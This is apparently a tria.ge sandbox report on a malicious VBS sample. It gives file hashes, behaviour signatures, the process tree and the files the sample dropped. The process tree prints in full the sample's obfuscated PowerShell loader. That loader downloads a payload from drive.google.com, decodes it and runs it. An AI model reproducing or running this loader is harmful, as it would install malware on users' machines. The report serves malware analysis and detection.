Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
92s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
12/06/2024, 01:11
Static task
static1
Behavioral task
behavioral1
Sample
259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs
Resource
win10v2004-20240611-en
General
-
Target
259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs
-
Size
21KB
-
MD5
24dac6b183fc5cb29533742b3e54f209
-
SHA1
102f41208323839ecbcff8fef13e1ccf23b7a608
-
SHA256
259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b
-
SHA512
f4d20eb40e1e617e4d70c96b6f7b066b617efd17a28d04d3be38a60eb2cce17ceb8f1595bb16a8bf2b71147354a65ec5e8f3046caa81156809453238c687a289
-
SSDEEP
384:wgbqVWY0OjSRKdmkhYL4TGDiTkmZ0u4i9nLYgMstmCzmZrCF1956lbeTTA1HJH91:wgbqVWY0OjSRKd/hYL4TGDiTkmZ0Ti9a
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 4964 powershell.exe 8 4964 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 drive.google.com 2 drive.google.com -
pid Process 4964 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4964 powershell.exe 4964 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4964 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2056 wrote to memory of 4964 2056 WScript.exe 80 PID 2056 wrote to memory of 4964 2056 WScript.exe 80 PID 4964 wrote to memory of 4860 4964 powershell.exe 83 PID 4964 wrote to memory of 4860 4964 powershell.exe 83
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle 1 "$Personliste = 1;$Binomialkoefficientens='';Function Superbusily($Livvidde){$Chrysothrix=$Livvidde.Length-$Personliste;$Servility=$Binomialkoefficientens+'Substring';For( $Ignoreringen=7;$Ignoreringen -lt $Chrysothrix;$Ignoreringen+=8){$bytrafik+=$Livvidde.$Servility.Invoke( $Ignoreringen, $Personliste);}$bytrafik;}function Outhue($Gaspedalens){ . ($Spasmolytically) ($Gaspedalens);}$Prvetekstens=Superbusily 'TinkturMphilosoo,nalterzS.ainleiSsp.jdelEneherslAstroloaEliks,r/Ru,idum5Undivid.Multinu0 ilians Cons.ab(PrveudsWtown,eaiRadbuganByggefod Mi,troo Fysik,w unnomas kek.te M,ulanaNOffent,TSpender Untramp1firedel0 dibenz.,igtana0 arrowi; Udbry. Und.rfoW Unb.waiGr,vsmenSeksual6 proede4 ,ynebe; Taktfa Registx For,rg6 adduce4Vekselr;st,dent Ruge.sprLocus.ivUn moke:Re,nves1 tautol2 Insinu1Eng evi.Kulmine0de.embr)Postpat Impo tuGCarcinoeorgi,stcComputekOphedenohovedsk/ Gaader2infleks0Renssan1Kvgsmis0Erhverv0Opslags1Jeremys0emballe1V.ginis Res.skFSvikml iGste.rer udbredeU combifGe.dannokitsdogx Efterh/Superco1 S oleb2Ynkelig1Volplan.Boldspi0 Deepin ';$Salgsvarerne=Superbusily ' F glefUf,ldauts Aboli.edesertarFreder.-RekursiAsalam.ng GordiaeRhombohnBa,ehtttO.nifor ';$nucleole=Superbusily 'AfstreghStorebrtNutc,ketVerdenspniddin.sQuac le:Mariali/Samarit/ Signa,dJasminerOpskresiA etyltvFolkedreNe gang.Le,ekasgStj,mpeoUnshunnoRentekogf,lserulIndh,ntePr mrpr.Defacinclevo,ucoudkradsm.taalig/S.rmoneu Unascec Uncomp?Tikmpere MotacixVenizelp HovedboRekomperklis.ertEuphono=HomophodSplenetoHelgenswbaadeh.nAbbrevilP.essero Be.utyaUroleucdDrmmesl&Quai eriTeknokrdHakkapi=Oxidise1 ,nciderSammenkrDagbrknbMor,enazTralledlbipinnaq SalthoYUnderbiRMo.ndinL NathasCKoeksissexten.alinaktivPSpha,roKA.lurenLGennems1rendejeyChrys.pp CouthsoUnderdr1bnskrafFFod,oldEmis urn1StraaliuHypnotiOSprachlkLoes,es3VoltospKPr.depeJKnhjdenaDalagamW LagdefKRu.dten ';$Beaandingens=Superbusily 'Lighter>gre.twh ';$Spasmolytically=Superbusily 'scorneri Ufo.tveBogtrykxBanesaa ';$Munkerup='Bankerotten';$Idrttens = Superbusily '.ihiliseGhu mulcNaadesthBadekaao muskie Par.elr%,ladtrya Refr.spSnortlepPenneprdgen.nskaJorganst SociolaPa,anuc%Ar.ogra\Te.charFCre enyi Temperd LindyseSluknt,is alinokFjerneno Ousterm F.rbrumDeceleri Overr.sLimstensBlgetopa WhilterDramatiiRoughfos Reoff k Palladehailstos Electr.MainfraSA judanlOrohydra,arobes Katikc &acrorha&Lipect, ImodstoeAmarantcLithotrhNonviraoRubb.ri StasiditMonokro ';Outhue (Superbusily 'Var etp$Staggerg Nasturl CarpinoParadokb Enst.vaClor,gelIn.esba:OdiscotsPa,tisorTrimorpgwant.nseutvetydf Kom.etlS praseoTaagetarFlyndereKursusmn avan.eeDemagogs bol,je= Adaman(Led,ggacFlamme m Shar idSvr,eds Skilten/B,nkbesc Highto nononer$ WondroI DusrjgdLandganrTantalitEksporttS.bningeInd lagnFaineansGilrava)Partner ');Outhue (Superbusily ' Coadju$GoaledogNnnen.elPanosteo.lejencbSumm tiaLig stilTrickli:sammentSKon raklApterinaSk,devapaf egnesBelomant Hektari ParthecUsigelikAnonolj=Plurip.$layloclnPachucouImplemecAstrobilOpslidse EjerlaoLrerf rlPrincewePapirp . Ubesvasauto trp NaboinlSuperheiKohrenttMejerie(Div,rce$InclipsBSynl gheChefkriahaevespaStopfodnInvaliddRabbitiiDe,entrnRewiresgUvealtoeU.recogntilplanslate,op)Tobacco ');$nucleole=$Slapstick[0];$Overgild= (Superbusily ' ymphom$GestaltgGenforelAkkumuloPrfer.nbUncorreaF,rhaanlAflyse :Vin ergSOutseekuGloppyhb PoliticSandhe,uCervinatSvedkiriJunkb,as ArmbeveHaspninsKnappyg=KopskatNbeskytteFjernstwFolkere-serg,lrO Hum.nmb hattiojdiskoteeRumnskecNonvolutaarsb.r KoreishS OlaviayHejsevrsMedusiftIltendeeSt.esermMapmaki.UnputriNHemmelieHistioltant.rea.ChauffeW TyranteSoc.alab re,derCoverderlRet.pleiAl,amiaeflippinnSkuflert');$Overgild+=$srgeflorenes[1];Outhue ($Overgild);Outhue (Superbusily 'Hrerrsf$PresynaSTerrazzuDok.tnibhagridicUforeneu.oncinntTeatersiNedsablsM asbygeTeltligsForespr.Decim lHBestormeFortrstaS,uirtidKasseapeKulturprG,ldfiss Antisp[Wo msee$ Medi,bSBredsdoaKvartsulHjemsengPreinjusPaxamprv Forv.la SissonrLyknskneArrearirHaeldten OutimaeBlurred]Forsvar=Or cula$EksisteP G benerToluid v NematoeVitrioltsvr.gteeNotoneck bab.lisCaricattOsogambedzoti.hn .ambods Horror ');$astringeringernes=Superbusily 'Idyllic$StatsfnSDemonteuCifbittb Overs,cBrasseyu FireletPyrr.lbiTerpolysEfteraaeModeordsH.vedba. VenkesDSeniorso Topob wrigor.snTjekkerl.eisminoTestkrsaBeothukd.oldjesF FyringiReflexelAmtsraae Gase.u( fldern$UricuronForegriuCapaletcSmdend.lBo,tedeeDolesfao Terapel Enh.nceNonrequ,Voldtgt$Pr.arbidS,egepaa Vagtstmlsk.dednNasalitaStradintPr genioGundesprDefrosty Tawesu)Kalk,la ';$damnatory=$srgeflorenes[0];Outhue (Superbusily 'marimba$W nterigTulisa lPlutonioSlavehabDelineaaNonargulLeptoce: araffiG LevedyyFilibuslMilieupdBre,vekiSkriblegAp.theohInquilieAsminesdopdukke2B.ossep3Galning3Slagt.s=Typwkul( Grupp,TstemplieArbejdesWirosc,tTreade.-applikaPMassersaSp.serntTeltdughMimeogr Udbrede$Transf,dSkrabnsaDemokramD.ovedhn UdvandaLayeragtAntisemoTowpathrisocyanyStruggl)Exsus i ');while (!$Gyldighed233) {Outhue (Superbusily 'Tvangsa$NewcolcgSkr.atolOpslidnoPhilolobFunnimeaEspaceml,altern:ClearinPKnastakeBrandforPatent,vFrikenda.oyarsslCotterhvInsula.aStrenger Manicu=cuppens$F,rurentUnemendrZurliteuJonos,re Freder ') ;Outhue $astringeringernes;Outhue (Superbusily 'AnfordrSparsleytReedieraSyvmiler nddatattimetal-.remsesS HypoamlPustersedroskebeAfmeldepKo,omip Bvelses4Solos.n ');Outhue (Superbusily ' ysiote$UdenriggBrnevenlBond.paoExtensubSevartwaPup idslOscillo:IntercoG De finyIridizalCoitaled Pr,ktiiMvhp,angUdsprinh MeseegeOk oberdVandlaa2Svanges3Reg.nte3Es roge=.anetti( forwarTvinc,nzeSu,chlosliersbatHar,eni-HovedpuP Ve,denaTotitivtHemiopihNetoper Madrepo$Koesem,d Ka.egoa Indsaam PituitnBrothiea DoomhotLo rdesoHulketmrTyssendyHortiku) Croose ') ;Outhue (Superbusily 'Singale$Cokyshig ormulal NaturmoambiencbVantguaaCalligrlF,annel:SpillepAJagtprouFaglitttErgometoGenansklSkade.ryUdfyldtcA,pehoru Venstrs dignit=Nylonsp$DecostagEliminelSti.lepo Tipoldbenle.fdaReallnslDecrimi:UntheisAVaccinenUd yndegCheeseme Reg.nelUdtydnifGangartiRejehopsTeatersh,irknineSkibs,asMaski,s+Ejefald+Spiseb.%Opposit$Feci.lbS aturallForew,eaKlbestrp Hoveris misfo.thawkmotiDybhavscUderumskFiskeku.Unlethac SeksteoRec,rbouBrunel nDesa,metPhotpho ') ;$nucleole=$Slapstick[$Autolycus];}$Rjsernes=333842;$Definitionernes=30113;Outhue (Superbusily 'Rutilan$SpecialgFrustrelU dvrlioPepitatbPigletcaFel.adhlMendels: C,ffinC S.lonkiParamutl ProduklA.leygaemul,angrChl.ropyKlippe. S rafpo=Iliocos IndtgtGClawsnoeForfaretHvn,err- UautorCUnd.rshoOpbevarn no,exptGlucon.eParlam,nindirectPetr li cryptoc$.pegepldDemagogaBlivesmmAntiantn flerspa EksametStrainao Udlig rdrspiony Succum ');Outhue (Superbusily 'Haavard$Spad efgTristezl aproctoDeco.orbMelonryaDelmomelAbl.cta:V,ndprvAkluk atn F,ttoge FlaffesMiracu tManubrihFederaleUrinaletUnphiloiKha,arfzNaivisme Oarf,s Martyn= udhol Th,irse[Dahlia SLength,y IsvintsVerden.t UnrumoeDinornimModef.l.VendetaCJoyprooo Honni.nB rgninvDisco.ye AfskrarDugpunktPhototr]Unmolde: rader,: SommerF Benz.nrS.dpudeoSlgtsfem AncienBEffulgea KedushsForbilleMetam.r6Epigene4BunchbaSAandendtcausewarVac.inaiEyeshadnSpl chngDefinie(Soigner$M gdepaCIno erci allotl Biklanl SyphoneOberstirSubstriySummon.) Tilbag ');Outhue (Superbusily ' Re,ros$Sw.thergOstracolFedes.ioB,slagsb AzandeaBelevnel Artles:Friskh TWash dlu ExtracmGuesserpSkytteklConstitiAmpelidndabblineHimen,f Trilleb=Sektion Hellang[ efloccSEudaimoyUn.andssPangaratTi,trnge HarengmSeismog.straf,eTPolydemeTristicx.efloattGennems.Fo teraEAdsprednObscurac FletteoTantal.dKreditgiChromatnEksterngKartere]Unaggra:Unsatir:MoseegmAP,rmafrSPokerisCArchimpIAbalienITvivlsw.PegepinGSnustobeMave,netBesotscSK,ressetPlat yfr SexoloiFormumnn F,libugFormaak(Angstfu$.oneybeAAgricsynGudet,mePljtelesBeflendt Disperh VandroeTransvetEfter,ri SmaglszMarisaseBr eraa)Kdetrkb ');Outhue (Superbusily 'Cotehel$ Vaun.hgArchie l Retsopo KontrobFreshenaSubs.anlWale ty:Re,ubliFDr coceoDv.geflrFoveolee OveropsDe.oaguk PropenrSyge.ikiHulrumbvEn cture MistralEnfiressOrdkriteEnma dsrGangbessafs.ori=Forsyth$rectifiTKrigsk,uOve.sttmDelingspLimberel Antirei Brach,nExecra eEngrosp.JordspesShrimpiuKodekseb MyrernsNon,portSpr tkrrPer,onaiPreco,snPlebeiag Monato(Liftgat$e oismsRTremblyjBefrielsToneflge PteridrForla snSvigerseMas incsArren t,Or,anis$Finhak DRundskaeSu arytfGob esoi DisdennFiktio,iUmennestP eceabiUdbandtoMi osfin EdeltreSvibl,nrKrselsfnDrt,inseContinusEpicond)Ind,cie ');Outhue $Foreskrivelsers;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fideikommissariskes.Sla && echo t"3⤵PID:4860
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
619B
MD5969bb01a2fd8cd85283a6f1d730d9a45
SHA1f92ececfc6575e265310ba1d08302d9ad2ba60da
SHA256a633b7ec939d782d0bf7d3fabb011efd7f19f71c8148f50c5759ba5ec1e426fa
SHA5123a670b43654bd1ebde08587e6ac083944f795e77f85fc912dc6ccc26e26dd4b0595f5ae24fd24dfb220a72ff6fcd55910508a5df949a2a5eeab2c2062aaa0b67
-
Filesize
8KB
MD51bdacc28017d2adeab8c40b68e30acfd
SHA194ac78a16d912649ddb9421ddf3017aed9556660
SHA2565c0997916dcf6961681d53886efa088f514aa237301c311ab3cabaab526b2744
SHA512409d19810ea569da7fdbf73d916958e39ac2853124b289217e3c9d7ebac9ce225ff954663938a381244d4f82b890ac0094f060ba8ac2e2882856f45f13d864ef
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82